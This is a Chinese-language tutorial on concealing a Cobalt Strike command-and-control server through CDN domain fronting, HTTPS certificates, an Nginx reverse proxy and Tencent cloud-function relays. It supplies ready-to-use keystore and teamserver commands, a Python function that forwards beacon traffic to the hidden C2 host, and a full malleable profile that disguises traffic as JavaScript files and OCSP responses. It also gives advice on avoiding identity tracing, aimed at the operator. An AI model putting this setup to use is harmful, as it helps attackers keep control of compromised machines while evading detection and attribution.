C2隐匿-云函数&域前置
字数 1138 2025-08-24 10:10:13

C2隐匿技术:云函数与域前置详解

1. 域前置技术基础

1.1 CDN基本概念

CDN(内容分发网络)是一种分布式缓存服务器系统,主要用于:

  • 存放静态资源(图片、HTML、CSS、JS、视频等)
  • 缩短响应时间
  • 动态数据从源站获取

响应公式:响应结果 = CDN节点上的缓存静态资源 + 源站的动态数据

1.2 域前置实现步骤

1.2.1 域名准备

  • 获取免备案域名(推荐国外注册商如porkbun.com)
  • 原因:避免通过备案信息追踪到真实身份

1.2.2 CDN配置(以阿里云为例)

  1. 在CDN控制台配置域名
  2. 复制DNS记录值到域名管理
  3. 多地ping测试验证配置生效
  4. 配置回源设置(指定源站IP和端口)

1.2.3 Cobalt Strike监听器配置

  • 配置监听器使用CDN域名
  • 测试连接时显示的是CDN节点IP而非真实C2 IP

2. HTTPS增强隐匿

2.1 SSL证书配置

  1. 申请免费SSL证书(如阿里云)
  2. 下载证书文件:
    • 公钥(.pem)
    • 私钥(.key)

2.2 生成C2证书

openssl pkcs12 -export -in 公钥文件 -inkey 私钥文件 -out cs.store -name test_cert -passout pass:密码
keytool -importkeystore -deststorepass 密码 -destkeypass 密码 -destkeystore cscert.store -srckeystore cs.store -srcstoretype PKCS12 -srcstorepass 密码 -alias test_cert

2.3 启动Teamserver

./teamserver IP 密码

2.4 CDN节点添加证书

2.5 HTTP与HTTPS对比

  • HTTP:Host头暴露域名
  • HTTPS:完全加密,隐匿性更好

3. Nginx反向代理方案

3.1 配置方法

  1. CDN回源IP设为C2真实IP(端口80)
  2. Nginx配置:
server {
    listen 80;
    server_name 127.0.0.1;
    location / {
        proxy_pass http://127.0.0.1:9101;
    }
}

3.2 Cobalt Strike配置

  • 设置两个监听器:
    1. 常规监听器
    2. 域名监听器

3.3 缺点

  • 流量设备可发现与真实C2 IP的连接

4. 云函数隐匿技术

4.1 腾讯云函数配置流程

4.1.1 函数代码

# -*- coding: utf8 -*-
import json,requests,base64

def main_handler(event, context):
    C2='http://csip即端口' # 修改为真实C2地址
    path=event['path']
    headers=event['headers']
    params=event['queryString']
    
    if event['httpMethod'] == 'GET':
        resp=requests.get(C2+path,headers=headers,verify=False,params=params)
    else:
        resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False,params=params)
    
    response={
        "isBase64Encoded": True,
        "statusCode": resp.status_code,
        "headers": dict(resp.headers),
        "body": str(base64.b64encode(resp.content))[2:-1]
    }
    return response

4.1.2 触发器配置

  • 设置为API网关触发
  • 配置访问根目录触发

4.2 Cobalt Strike Profile配置

创建yun.txt文件内容:

set sample_name "t";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";

http-get {
    set uri "/api/x";
    client {
        header "Accept"
        metadata {
            base64;
            prepend "SESSIONID=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Server" "Nodejs";
        output {
            base64;
            print;
        }
    }
}

http-stager {
    set uri_x86 "/vue.min.js";
    set uri_x64 "/bootstrap-2.min.js";
}

http-post {
    set uri "/api/y";
    client {
        header "Accept"
        id {
            base64;
            prepend "JSESSION=";
            header "Cookie";
        }
        output {
            base64;
            print;
        }
    }
    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Connection" "keep-alive";
        output {
            base64;
            print;
        }
    }
}

4.3 启动Teamserver

./teamserver IP 密码 yun.txt

4.4 监听器配置

  • 使用云函数提供的域名
  • 上线IP显示为动态IP
  • 支持命令回显

5. 技术对比

技术 隐匿性 实现难度 流量设备可检测性 备注
HTTP域前置 可发现域名 Host头暴露
HTTPS域前置 难以发现 完全加密
Nginx反向代理 可发现真实IP 不推荐
云函数 难以发现 动态IP

6. 安全建议

  1. 优先使用HTTPS+域前置或云函数方案
  2. 避免使用个人备案域名
  3. 定期更换域名和证书
  4. 监控流量模式是否异常
  5. 云函数方案需要自定义profile处理编解码
C2隐匿技术:云函数与域前置详解 1. 域前置技术基础 1.1 CDN基本概念 CDN(内容分发网络)是一种分布式缓存服务器系统,主要用于: 存放静态资源(图片、HTML、CSS、JS、视频等) 缩短响应时间 动态数据从源站获取 响应公式: 响应结果 = CDN节点上的缓存静态资源 + 源站的动态数据 1.2 域前置实现步骤 1.2.1 域名准备 获取免备案域名(推荐国外注册商如porkbun.com) 原因:避免通过备案信息追踪到真实身份 1.2.2 CDN配置(以阿里云为例) 在CDN控制台配置域名 复制DNS记录值到域名管理 多地ping测试验证配置生效 配置回源设置(指定源站IP和端口) 1.2.3 Cobalt Strike监听器配置 配置监听器使用CDN域名 测试连接时显示的是CDN节点IP而非真实C2 IP 2. HTTPS增强隐匿 2.1 SSL证书配置 申请免费SSL证书(如阿里云) 下载证书文件: 公钥(.pem) 私钥(.key) 2.2 生成C2证书 2.3 启动Teamserver 2.4 CDN节点添加证书 2.5 HTTP与HTTPS对比 HTTP:Host头暴露域名 HTTPS:完全加密,隐匿性更好 3. Nginx反向代理方案 3.1 配置方法 CDN回源IP设为C2真实IP(端口80) Nginx配置: 3.2 Cobalt Strike配置 设置两个监听器: 常规监听器 域名监听器 3.3 缺点 流量设备可发现与真实C2 IP的连接 4. 云函数隐匿技术 4.1 腾讯云函数配置流程 4.1.1 函数代码 4.1.2 触发器配置 设置为API网关触发 配置访问根目录触发 4.2 Cobalt Strike Profile配置 创建yun.txt文件内容: 4.3 启动Teamserver 4.4 监听器配置 使用云函数提供的域名 上线IP显示为动态IP 支持命令回显 5. 技术对比 | 技术 | 隐匿性 | 实现难度 | 流量设备可检测性 | 备注 | |------|--------|----------|------------------|------| | HTTP域前置 | 中 | 易 | 可发现域名 | Host头暴露 | | HTTPS域前置 | 高 | 中 | 难以发现 | 完全加密 | | Nginx反向代理 | 低 | 易 | 可发现真实IP | 不推荐 | | 云函数 | 高 | 难 | 难以发现 | 动态IP | 6. 安全建议 优先使用HTTPS+域前置或云函数方案 避免使用个人备案域名 定期更换域名和证书 监控流量模式是否异常 云函数方案需要自定义profile处理编解码